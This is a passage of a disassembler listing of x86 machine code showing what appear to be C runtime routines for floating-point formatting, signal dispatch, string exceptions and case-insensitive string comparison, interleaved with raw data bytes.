= byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = word ptr -10h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 30h mov eax, ds:dword_4437D4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_14] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0CCh mov [ebp+var_19], 0CCh mov [ebp+var_18], 0CCh mov [ebp+var_17], 0CCh mov [ebp+var_16], 0CCh mov [ebp+var_15], 0CCh mov [ebp+var_14], 0CCh mov [ebp+var_13], 0CCh mov [ebp+var_12], 0FBh mov [ebp+var_11], 3Fh mov [ebp+var_2C], 1 mov edx, eax jz short loc_429052 mov byte ptr [ebx+2], 2Dh jmp short loc_429056 ; --------------------------------------------------------------------------- loc_429052: ; CODE XREF: sub_428FE8+62j mov byte ptr [ebx+2], 20h loc_429056: ; CODE XREF: sub_428FE8+68j test dx, dx mov edi, [ebp+arg_4] jnz short loc_42906B test edi, edi jnz short loc_42906B cmp [ebp+arg_0], edi jz loc_42915E loc_42906B: ; CODE XREF: sub_428FE8+74j ; sub_428FE8+78j cmp dx, si jnz short loc_4290E8 mov eax, 80000000h cmp edi, eax mov word ptr [ebx], 1 jnz short loc_429084 cmp [ebp+arg_0], 0 jz short loc_429093 loc_429084: ; CODE XREF: sub_428FE8+94j test edi, 40000000h jnz short loc_429093 push offset a1Snan ; "1#SNAN" jmp short loc_4290D9 ; --------------------------------------------------------------------------- loc_429093: ; CODE XREF: sub_428FE8+9Aj ; sub_428FE8+A2j test cx, cx jz short loc_4290AD cmp edi, 0C0000000h jnz short loc_4290AD cmp [ebp+arg_0], 0 jnz short loc_4290D4 push offset a1Ind ; "1#IND" jmp short loc_4290BC ; --------------------------------------------------------------------------- loc_4290AD: ; CODE XREF: sub_428FE8+AEj ; sub_428FE8+B6j cmp edi, eax jnz short loc_4290D4 cmp [ebp+arg_0], 0 jnz short loc_4290D4 push offset a1Inf ; "1#INF" loc_4290BC: ; CODE XREF: sub_428FE8+C3j lea eax, [ebx+4] push eax call sub_41EEC0 mov byte ptr [ebx+3], 5 loc_4290C9: ; CODE XREF: sub_428FE8+FEj and [ebp+var_2C], 0 pop ecx pop ecx jmp loc_429240 ; --------------------------------------------------------------------------- loc_4290D4: ; CODE XREF: sub_428FE8+BCj ; sub_428FE8+C7j ... push offset a1Qnan ; "1#QNAN" loc_4290D9: ; CODE XREF: sub_428FE8+A9j lea eax, [ebx+4] push eax call sub_41EEC0 mov byte ptr [ebx+3], 6 jmp short loc_4290C9 ; --------------------------------------------------------------------------- loc_4290E8: ; CODE XREF: sub_428FE8+86j movzx eax, dx mov esi, eax imul eax, 4D10h and [ebp+var_10], 0 mov ecx, edi shr ecx, 18h shr esi, 8 lea ecx, [esi+ecx*2] imul ecx, 4Dh lea esi, [ecx+eax-134312F4h] mov eax, [ebp+arg_0] mov [ebp+var_E], eax sar esi, 10h movsx eax, si neg eax push 1 push eax lea eax, [ebp+var_10] push eax mov [ebp+var_6], dx mov [ebp+var_A], edi call sub_42968C add esp, 0Ch cmp [ebp+var_6], 3FFFh jb short loc_429149 lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_10] push eax inc esi call sub_42945A pop ecx pop ecx loc_429149: ; CODE XREF: sub_428FE8+14Fj test [ebp+arg_10], 1 mov edi, [ebp+arg_C] mov [ebx], si jz short loc_429167 movsx eax, si add edi, eax test edi, edi jg short loc_429167 loc_42915E: ; CODE XREF: sub_428FE8+7Dj mov byte ptr [ebx+4], 30h jmp loc_429261 ; --------------------------------------------------------------------------- loc_429167: ; CODE XREF: sub_428FE8+16Bj ; sub_428FE8+174j cmp edi, 15h jle short loc_42916F push 15h pop edi loc_42916F: ; CODE XREF: sub_428FE8+182j movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_8], 8 loc_429185: ; CODE XREF: sub_428FE8+1AAj lea eax, [ebp+var_10] push eax call sub_428A28 dec [ebp+arg_8] pop ecx jnz short loc_429185 test esi, esi jge short loc_4291AF neg esi and esi, 0FFh jle short loc_4291AF loc_4291A2: ; CODE XREF: sub_428FE8+1C5j lea eax, [ebp+var_10] push eax call sub_428A56 dec esi pop ecx jnz short loc_4291A2 loc_4291AF: ; CODE XREF: sub_428FE8+1AEj ; sub_428FE8+1B8j lea ecx, [edi+1] test ecx, ecx lea eax, [ebx+4] mov [ebp+var_30], eax jle short loc_42920C mov [ebp+arg_8], ecx loc_4291BF: ; CODE XREF: sub_428FE8+21Fj lea esi, [ebp+var_10] lea edi, [ebp+var_28] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_428A28 lea eax, [ebp+var_10] push eax call sub_428A28 lea eax, [ebp+var_28] push eax lea eax, [ebp+var_10] push eax call sub_4289CA lea eax, [ebp+var_10] push eax call sub_428A28 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+var_30] add al, 30h add esp, 14h inc [ebp+var_30] dec [ebp+arg_8] mov [ecx], al mov byte ptr [ebp+var_6+1], 0 jnz short loc_4291BF mov eax, [ebp+var_30] loc_42920C: ; CODE XREF: sub_428FE8+1D2j dec eax mov cl, [eax] dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_429256 jmp short loc_429223 ; --------------------------------------------------------------------------- loc_42921A: ; CODE XREF: sub_428FE8+23Dj cmp byte ptr [eax], 39h jnz short loc_429227 mov byte ptr [eax], 30h dec eax loc_429223: ; CODE XREF: sub_428FE8+230j cmp eax, ecx jnb short loc_42921A loc_429227: ; CODE XREF: sub_428FE8+235j cmp eax, ecx jnb short loc_42922F inc eax inc word ptr [ebx] loc_42922F: ; CODE XREF: sub_428FE8+241j inc byte ptr [eax] loc_429231: ; CODE XREF: sub_428FE8+274j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al mov byte ptr [eax+ebx+4], 0 loc_429240: ; CODE XREF: sub_428FE8+E7j mov eax, [ebp+var_2C] loc_429243: ; CODE XREF: sub_428FE8+28Cj mov ecx, [ebp+var_4] pop edi pop esi pop ebx call sub_422B83 leave retn ; --------------------------------------------------------------------------- loc_429250: ; CODE XREF: sub_428FE8+270j cmp byte ptr [eax], 30h jnz short loc_42925A dec eax loc_429256: ; CODE XREF: sub_428FE8+22Ej cmp eax, ecx jnb short loc_429250 loc_42925A: ; CODE XREF: sub_428FE8+26Bj cmp eax, ecx jnb short loc_429231 mov byte ptr [ecx], 30h loc_429261: ; CODE XREF: sub_428FE8+17Aj and word ptr [ebx], 0 xor eax, eax mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ebx+5], 0 inc eax jmp short loc_429243 sub_428FE8 endp ; =============== S U B R O U T I N E ======================================= sub_429276 proc near ; CODE XREF: sub_4292AF+5Ap mov ecx, ds:dword_443BA0 mov eax, offset dword_443B20 push esi loc_429282: ; CODE XREF: sub_429276+20j cmp [eax+4], edx jz short loc_429298 lea esi, [ecx+ecx*2] add eax, 0Ch lea esi, ds:443B20h[esi*4] cmp eax, esi jb short loc_429282 loc_429298: ; CODE XREF: sub_429276+Fj lea ecx, [ecx+ecx*2] lea ecx, ds:443B20h[ecx*4] cmp eax, ecx pop esi jnb short loc_4292AC cmp [eax+4], edx jz short locret_4292AE loc_4292AC: ; CODE XREF: sub_429276+2Fj xor eax, eax locret_4292AE: ; CODE XREF: sub_429276+34j retn sub_429276 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4292AF proc near ; CODE XREF: sub_4254B5+2D78p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_429315 dec eax dec eax jz short loc_429307 sub eax, 4 jz short loc_429307 sub eax, 3 jz short loc_429307 sub eax, 4 jz short loc_4292FA sub eax, 6 jz short loc_4292ED dec eax jz short loc_4292E0 or eax, 0FFFFFFFFh jmp loc_4293D4 ; --------------------------------------------------------------------------- loc_4292E0: ; CODE XREF: sub_4292AF+27j mov esi, ds:dword_4E2B7C mov eax, offset dword_4E2B7C jmp short loc_429320 ; --------------------------------------------------------------------------- loc_4292ED: ; CODE XREF: sub_4292AF+24j mov esi, ds:dword_4E2B78 mov eax, offset dword_4E2B78 jmp short loc_429320 ; --------------------------------------------------------------------------- loc_4292FA: ; CODE XREF: sub_4292AF+1Fj mov esi, ds:dword_4E2B80 mov eax, offset dword_4E2B80 jmp short loc_429320 ; --------------------------------------------------------------------------- loc_429307: ; CODE XREF: sub_4292AF+10j ; sub_4292AF+15j ... mov edx, edi call sub_429276 add eax, 8 mov esi, [eax] jmp short loc_429320 ; --------------------------------------------------------------------------- loc_429315: ; CODE XREF: sub_4292AF+Cj mov esi, ds:dword_4E2B74 mov eax, offset dword_4E2B74 loc_429320: ; CODE XREF: sub_4292AF+3Cj ; sub_4292AF+49j ... cmp esi, 1 jz loc_4293D2 test esi, esi jnz short loc_429334 push 3 call sub_41F282 loc_429334: ; CODE XREF: sub_4292AF+7Cj push ebx push 8 pop ecx cmp edi, ecx jz short loc_429346 cmp edi, 0Bh jz short loc_429346 cmp edi, 4 jnz short loc_42936C loc_429346: ; CODE XREF: sub_4292AF+8Bj ; sub_4292AF+90j mov ebx, ds:dword_4E29C4 and ds:dword_4E29C4, 0 cmp edi, ecx jnz short loc_42939B mov edx, ds:dword_443BA4 mov [ebp+arg_0], edx mov ds:dword_443BA4, 8Ch jmp short loc_42936F ; --------------------------------------------------------------------------- loc_42936C: ; CODE XREF: sub_4292AF+95j mov ebx, [ebp+arg_0] loc_42936F: ; CODE XREF: sub_4292AF+BBj cmp edi, ecx jnz short loc_42939B mov eax, ds:dword_443B98 mov ecx, ds:dword_443B9C add ecx, eax cmp eax, ecx jge short loc_4293A2 lea edx, [eax+eax*2] lea edx, ds:443B28h[edx*4] sub ecx, eax loc_429390: ; CODE XREF: sub_4292AF+E8j and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_429390 jmp short loc_4293A2 ; --------------------------------------------------------------------------- loc_42939B: ; CODE XREF: sub_4292AF+A6j ; sub_4292AF+C2j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_4293B0 loc_4293A2: ; CODE XREF: sub_4292AF+D3j ; sub_4292AF+EAj push ds:dword_443BA4 push 8 call esi pop ecx pop ecx jmp short loc_4293BE ; --------------------------------------------------------------------------- loc_4293B0: ; CODE XREF: sub_4292AF+F1j push edi call esi cmp edi, 0Bh pop ecx jz short loc_4293BE cmp edi, 4 jnz short loc_4293D1 loc_4293BE: ; CODE XREF: sub_4292AF+FFj ; sub_4292AF+108j cmp edi, 8 mov ds:dword_4E29C4, ebx jnz short loc_4293D1 mov eax, [ebp+arg_0] mov ds:dword_443BA4, eax loc_4293D1: ; CODE XREF: sub_4292AF+10Dj ; sub_4292AF+118j pop ebx loc_4293D2: ; CODE XREF: sub_4292AF+74j xor eax, eax loc_4293D4: ; CODE XREF: sub_4292AF+2Cj pop edi pop esi pop ebp retn sub_4292AF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4293D8 proc near ; CODE XREF: sub_42884D+96p ; sub_42884D+E4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, ds:dword_4E2B98 push esi jnb short loc_42944B mov ecx, eax and eax, 1Fh shl eax, 3 sar ecx, 5 lea ecx, ds:4E2BA0h[ecx*4] mov edx, eax mov eax, [ecx] movsx eax, byte ptr [eax+edx+4] test al, 1 jz short loc_42944B mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_42941F mov ecx, [ecx] lea ecx, [ecx+edx+4] and byte ptr [ecx], 7Fh jmp short loc_429432 ; --------------------------------------------------------------------------- loc_42941F: ; CODE XREF: sub_4293D8+3Aj cmp [esp+4+arg_4], 4000h jnz short loc_42943F mov ecx, [ecx] lea ecx, [ecx+edx+4] or byte ptr [ecx], 80h loc_429432: ; CODE XREF: sub_4293D8+45j neg eax sbb eax, eax and eax, 0FFFFC000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42943F: ; CODE XREF: sub_4293D8+4Fj mov ds:dword_4E28F4, 16h jmp short loc_429455 ; --------------------------------------------------------------------------- loc_42944B: ; CODE XREF: sub_4293D8+Bj ; sub_4293D8+2Aj mov ds:dword_4E28F4, 9 loc_429455: ; CODE XREF: sub_4293D8+71j or eax, 0FFFFFFFFh pop esi retn sub_4293D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42945A proc near ; CODE XREF: sub_428FE8+15Ap ; sub_42968C+6Bp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 28h mov eax, ds:dword_4437D4 push ebx mov ebx, [ebp+arg_4] mov [ebp+var_4], eax xor eax, eax xor ecx, ecx mov cx, [ebx+0Ah] push esi mov esi, [ebp+arg_0] mov [ebp+var_1C], eax mov [ebp+var_10], eax mov [ebp+var_C], eax mov [ebp+var_8], eax mov ax, [esi+0Ah] push edi mov edi, ecx mov edx, 7FFFh and ecx, edx xor edi, eax and eax, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_429664 cmp cx, 7FFFh jnb loc_429664 cmp dx, 0BFFDh ja loc_429664 cmp dx, 3FBFh ja short loc_4294CD xor eax, eax jmp short loc_429507 ; --------------------------------------------------------------------------- loc_4294CD: ; CODE XREF: sub_42945A+6Dj test ax, ax mov edx, 7FFFFFFFh jnz short loc_4294EF inc [ebp+arg_0] xor eax, eax test [esi+8], edx jnz short loc_4294F1 cmp [esi+4], eax jnz short loc_4294F1 cmp [esi], eax jnz short loc_4294F1 jmp loc_42965E ; --------------------------------------------------------------------------- loc_4294EF: ; CODE XREF: sub_42945A+7Bj xor eax, eax loc_4294F1: ; CODE XREF: sub_42945A+85j ; sub_42945A+8Aj ... cmp cx, ax jnz short loc_429514 inc [ebp+arg_0] test [ebx+8], edx jnz short loc_429514 cmp [ebx+4], eax jnz short loc_429514 cmp [ebx], eax jnz short loc_429514 loc_429507: ; CODE XREF: sub_42945A+71j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_42967F ; --------------------------------------------------------------------------- loc_429514: ; CODE XREF: sub_42945A+9Aj ; sub_42945A+A2j ... mov [ebp+var_18], eax lea eax, [ebp+var_C] mov [ebp+var_14], eax mov [ebp+arg_4], 5 loc_429524: ; CODE XREF: sub_42945A+12Cj mov eax, [ebp+var_18] add eax, eax cmp [ebp+arg_4], 0 jle short loc_429578 add eax, esi mov [ebp+var_24], eax mov eax, [ebp+arg_4] lea ecx, [ebx+8] mov [ebp+var_20], ecx mov [ebp+var_28], eax loc_429540: ; CODE XREF: sub_42945A+11Cj mov eax, [ebp+var_20] mov ecx, [ebp+var_24] movzx ecx, word ptr [ecx] movzx eax, word ptr [eax] imul eax, ecx mov ecx, [ebp+var_14] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_4289A9 add esp, 0Ch test eax, eax jz short loc_42956B mov eax, [ebp+var_14] inc word ptr [eax] loc_42956B: ; CODE XREF: sub_42945A+109j add [ebp+var_24], 2 sub [ebp+var_20], 2 dec [ebp+var_28] jnz short loc_429540 loc_429578: ; CODE XREF: sub_42945A+D3j add [ebp+var_14], 2 inc [ebp+var_18] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_429524 add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_4295BB loc_429596: ; CODE XREF: sub_42945A+158j test byte ptr [ebp+var_8+3], 80h jnz short loc_4295B4 lea eax, [ebp+var_10] push eax call sub_428A28 add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 pop ecx jg short loc_429596 loc_4295B4: ; CODE XREF: sub_42945A+140j cmp word ptr [ebp+arg_0], 0 jg short loc_4295F4 loc_4295BB: ; CODE XREF: sub_42945A+13Aj add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_4295F4 mov eax, [ebp+arg_0] neg eax movzx ebx, ax add [ebp+arg_0], ebx loc_4295D4: ; CODE XREF: sub_42945A+18Ej test byte ptr [ebp+var_10], 1 jz short loc_4295DD inc [ebp+var_1C] loc_4295DD: ; CODE XREF: sub_42945A+17Ej lea eax, [ebp+var_10] push eax call sub_428A56 dec ebx pop ecx jnz short loc_4295D4 cmp [ebp+var_1C], 0 jz short loc_4295F4 or byte ptr [ebp+var_10], 1 loc_4295F4: ; CODE XREF: sub_42945A+15Fj ; sub_42945A+16Dj ... cmp word ptr [ebp+var_10], 8000h ja short loc_42960B mov eax, [ebp+var_10] and eax, 1FFFFh cmp eax, 18000h jnz short loc_429640 loc_42960B: ; CODE XREF: sub_42945A+1A0j cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_42963D and [ebp+var_10+2], 0 cmp [ebp+var_C+2], 0FFFFFFFFh jnz short loc_429638 and [ebp+var_C+2], 0 cmp word ptr [ebp+var_8+2], 0FFFFh jnz short loc_429632 inc [ebp+arg_0] mov word ptr [ebp+var_8+2], 8000h jmp short loc_429640 ; --------------------------------------------------------------------------- loc_429632: ; CODE XREF: sub_42945A+1CBj inc word ptr [ebp+var_8+2] jmp short loc_429640 ; --------------------------------------------------------------------------- loc_429638: ; CODE XREF: sub_42945A+1BFj inc [ebp+var_C+2] jmp short loc_429640 ; --------------------------------------------------------------------------- loc_42963D: ; CODE XREF: sub_42945A+1B5j inc [ebp+var_10+2] loc_429640: ; CODE XREF: sub_42945A+1AFj ; sub_42945A+1D6j ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_429664 mov cx, word ptr [ebp+var_10+2] mov [esi], cx mov ecx, [ebp+var_C] mov [esi+2], ecx mov ecx, [ebp+var_8] mov [esi+6], ecx or eax, edi loc_42965E: ; CODE XREF: sub_42945A+90j mov [esi+0Ah], ax jmp short loc_42967F ; --------------------------------------------------------------------------- loc_429664: ; CODE XREF: sub_42945A+4Cj ; sub_42945A+57j ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_42967F: ; CODE XREF: sub_42945A+B5j ; sub_42945A+208j mov ecx, [ebp+var_4] pop edi pop esi pop ebx call sub_422B83 leave retn sub_42945A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42968C proc near ; CODE XREF: sub_428B61+3EFp ; sub_428FE8+141p var_10 = byte ptr -10h var_E = dword ptr -0Eh var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h mov eax, ds:dword_4437D4 push ebx mov ebx, offset dword_443D08 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx mov [ebp+var_4], eax jz short loc_429707 jge short loc_4296B7 neg [ebp+arg_4] mov ebx, offset dword_443E68 sub ebx, 60h loc_4296B7: ; CODE XREF: sub_42968C+1Ej cmp [ebp+arg_8], ecx jnz short loc_4296C2 mov eax, [ebp+arg_0] mov [eax], cx loc_4296C2: ; CODE XREF: sub_42968C+2Ej cmp [ebp+arg_4], ecx jz short loc_429707 push esi push edi loc_4296C9: ; CODE XREF: sub_42968C+77j mov eax, [ebp+arg_4] sar [ebp+arg_4], 3 and eax, 7 add ebx, 54h cmp eax, ecx jz short loc_429700 lea eax, [eax+eax*2] lea esi, [ebx+eax*4] cmp word ptr [esi], 8000h jb short loc_4296F3 lea edi, [ebp+var_10] movsd movsd movsd dec [ebp+var_E] lea esi, [ebp+var_10] loc_4296F3: ; CODE XREF: sub_42968C+59j push esi push [ebp+arg_0] call sub_42945A pop ecx pop ecx xor ecx, ecx loc_429700: ; CODE XREF: sub_42968C+4Cj cmp [ebp+arg_4], ecx jnz short loc_4296C9 pop edi pop esi loc_429707: ; CODE XREF: sub_42968C+1Cj ; sub_42968C+39j mov ecx, [ebp+var_4] pop ebx call sub_422B83 leave retn sub_42968C endp ; =============== S U B R O U T I N E ======================================= sub_429712 proc near ; CODE XREF: sub_4297E3+25p ; sub_42987E+25p mov eax, offset aDzc ; "¸„§C" call sub_420364 push ecx push esi mov esi, ecx mov [ebp-10h], esi call sub_4299C6 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_43A33C call sub_40F41A mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_429712 endp ; --------------------------------------------------------------------------- word_42974E dw 7983h ; DATA XREF: seg001:0043A340o ; seg001:0043A34Co ... dd 4721024h, 0C310418Bh, 0C310418Dh, 6AF18B56h, 8D016A00h dd 6C70C4Eh, 43A33Ch, 0FE57F4E8h, 5ECE8BFFh, 2A8E9h db 0 byte_429779 db 56h, 8Bh, 0F1h ; DATA XREF: seg001:off_43A33Co dd 0FFFFDBE8h, 2444F6FFh, 7740108h, 671FE856h, 8B59FFFFh dd 4C25EC6h db 0 byte_429795 db 56h, 8Bh, 0F1h ; DATA XREF: seg001:off_43A348o dword_429798 dd 14E8h, 2444F600h, 7740108h, 6703E856h, 8B59FFFFh, 4C25EC6h dd 4801C700h, 0E90043A3h, 0FFFFFFA0h dword_4297BC dd 0E8F18B56h, 14h, 82444F6h, 56077401h, 0FF66DCE8h, 0C68B59FFh ; DATA XREF: seg001:off_43A354o dd 4C25Eh, 0A35401C7h, 79E90043h db 3 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_4297E3 proc near ; CODE XREF: sub_40EFAE+Fp ; sub_40F16A+13p ... mov eax, offset aFzc ; "¸ä§C" call sub_420364 sub esp, 44h push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-28h] call sub_40F6AF and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_429712 push offset dword_43A748 lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_43A354 call sub_420383 int 3 ; Trap to Debugger sub_4297E3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_429823 proc near ; CODE XREF: sub_42987E+47p mov eax, offset aDzc ; "¸„§C" call sub_420364 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_4299D7 and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_43A33C call sub_40F41A mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_429823 endp ; --------------------------------------------------------------------------- dw 0FF56h dd 8B082474h, 0FFB1E8F1h, 6C7FFFFh, 43A354h, 0C25EC68Bh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_42987E proc near ; CODE XREF: sub_40F10C+Dp ; sub_40F16A+32p ... var_40 = dword ptr -40h mov eax, offset aFzc ; "¸ä§C" call sub_420364 sub esp, 44h push offset aStringTooLong ; "string too long" lea ecx, [ebp-28h] call sub_40F6AF and dword ptr [ebp-4], 0 lea eax, [ebp-28h] push eax lea ecx, [ebp-50h] call sub_429712 push offset dword_43A7CC lea eax, [ebp-50h] push eax mov dword ptr [ebp-50h], offset off_43A348 call sub_420383 int 3 ; Trap to Debugger push esi push [esp+48h+var_40] mov esi, ecx call sub_429823 mov dword ptr [esi], offset off_43A348 mov eax, esi pop esi retn 4 sub_42987E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4298D6 proc near ; CODE XREF: sub_40ECCD+5Ep ; sub_417688+99p ... jmp ds:dword_42B214 sub_4298D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4298DC proc near ; CODE XREF: sub_41FEF7+24p ; sub_420274+13p jmp ds:dword_42B19C sub_4298DC endp ; =============== S U B R O U T I N E ======================================= sub_4298E2 proc near ; CODE XREF: seg000:00419C66p ; seg000:00419C7Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp ds:dword_4E29A4, 0 push ebx jnz short loc_42992C mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4298F4: ; CODE XREF: sub_4298E2+46j xor ebx, ebx mov bx, [ecx] cmp bx, 41h jb short loc_429908 cmp bx, 5Ah ja short loc_429908 add ebx, 20h loc_429908: ; CODE XREF: sub_4298E2+1Bj ; sub_4298E2+21j xor eax, eax mov ax, [edx] cmp ax, 41h jb short loc_42991C cmp ax, 5Ah ja short loc_42991C add eax, 20h loc_42991C: ; CODE XREF: sub_4298E2+2Fj ; sub_4298E2+35j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_429960 cmp bx, ax jz short loc_4298F4 jmp short loc_429960 ; --------------------------------------------------------------------------- loc_42992C: ; CODE XREF: sub_4298E2+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_429936: ; CODE XREF: sub_4298E2+7Aj xor eax, eax mov ax, [esi] push eax call sub_429AA3 inc esi inc esi mov ebx, eax xor eax, eax mov ax, [edi] push eax call sub_429AA3 inc edi pop ecx inc edi test bx, bx pop ecx jz short loc_42995E cmp bx, ax jz short loc_429936 loc_42995E: ; CODE XREF: sub_4298E2+75j pop edi pop esi loc_429960: ; CODE XREF: sub_4298E2+41j ; sub_4298E2+48j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4298E2 endp ; =============== S U B R O U T I N E ======================================= sub_42996A proc near ; CODE XREF: sub_41AB7D+21p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_429991 push esi call sub_41E1C0 inc eax push eax call sub_41E5D3 test eax, eax pop ecx pop ecx jz short loc_429991 push esi push eax call sub_41EEC0 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_429991: ; CODE XREF: sub_42996A+7j ; sub_42996A+1Aj xor eax, eax pop esi retn sub_42996A endp ; --------------------------------------------------------------------------- db 0C7h, 1, 88h dword_429998 dd 8B0043A3h, 0C9850449h, 0E8510774h, 0FFFF48F9h, 8B56C359h dd 0FFE3E8F1h, 44F6FFFFh, 74010824h, 0EEE85607h, 59FFFF64h dd 0C25EC68Bh db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_4299C6 proc near ; CODE XREF: sub_429712+11p mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax+8], 0 mov dword ptr [eax], offset off_43A390 retn sub_4299C6 endp ; =============== S U B R O U T I N E ======================================= sub_4299D7 proc near ; CODE XREF: sub_429823+16p arg_0 = dword ptr 4 push esi mov esi, ecx push edi mov edi, [esp+8+arg_0] mov dword ptr [esi], offset off_43A390 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_429A14 push dword ptr [edi+4] call sub_41E1C0 inc eax push eax call sub_41E5D3 test eax, eax pop ecx pop ecx mov [esi+4], eax jz short loc_429A1A push dword ptr [edi+4] push eax call sub_41EEC0 pop ecx pop ecx jmp short loc_429A1A ; --------------------------------------------------------------------------- loc_429A14: ; CODE XREF: sub_4299D7+16j mov eax, [edi+4] mov [esi+4], eax loc_429A1A: ; CODE XREF: sub_4299D7+2Ej ; sub_4299D7+3Bj pop edi mov eax, esi pop esi retn 4 sub_4299D7 endp ; --------------------------------------------------------------------------- db 83h, 79h, 8 dword_429A24 dd 9001C700h, 740043A3h, 471FF09h, 0FF486CE8h, 8BC359FFh dd 0C0850441h, 98B80575h, 0C30043A3h dword_429A44 dd 0E8F18B56h, 0FFFFFFD5h, 82444F6h, 56077401h, 0FF6454E8h ; DATA XREF: seg001:off_43A390o dd 0C68B59FFh, 4C25Eh ; =============== S U B R O U T I N E ======================================= sub_429A60 proc near ; CODE XREF: seg000:00411092p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp ds:dword_4E29A4, 0 jnz short loc_429A6E jmp sub_429B30 ; --------------------------------------------------------------------------- loc_429A6E: ; CODE XREF: sub_429A60+7j push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_429A79: ; CODE XREF: sub_429A60+39j movzx eax, byte ptr [esi] push eax call sub_420B27 mov ebx, eax movzx eax, byte ptr [edi] push eax inc esi call sub_420B27 pop ecx inc edi test ebx, ebx pop ecx mov ecx, eax jz short loc_429A9B cmp ebx, ecx jz short loc_429A79 loc_429A9B: ; CODE XREF: sub_429A60+35j pop edi mov eax, ebx pop esi sub eax, ecx pop ebx retn sub_429A60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429AA3 proc near ; CODE XREF: sub_4298E2+5Ap ; sub_4298E2+69p var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_429AB5 or ax, ax leave retn ; --------------------------------------------------------------------------- loc_429AB5: ; CODE XREF: sub_429AA3+Bj cmp ds:dword_4E29A4, 0 jnz short loc_429AD7 cmp ax, 41h jb short loc_429AD2 cmp 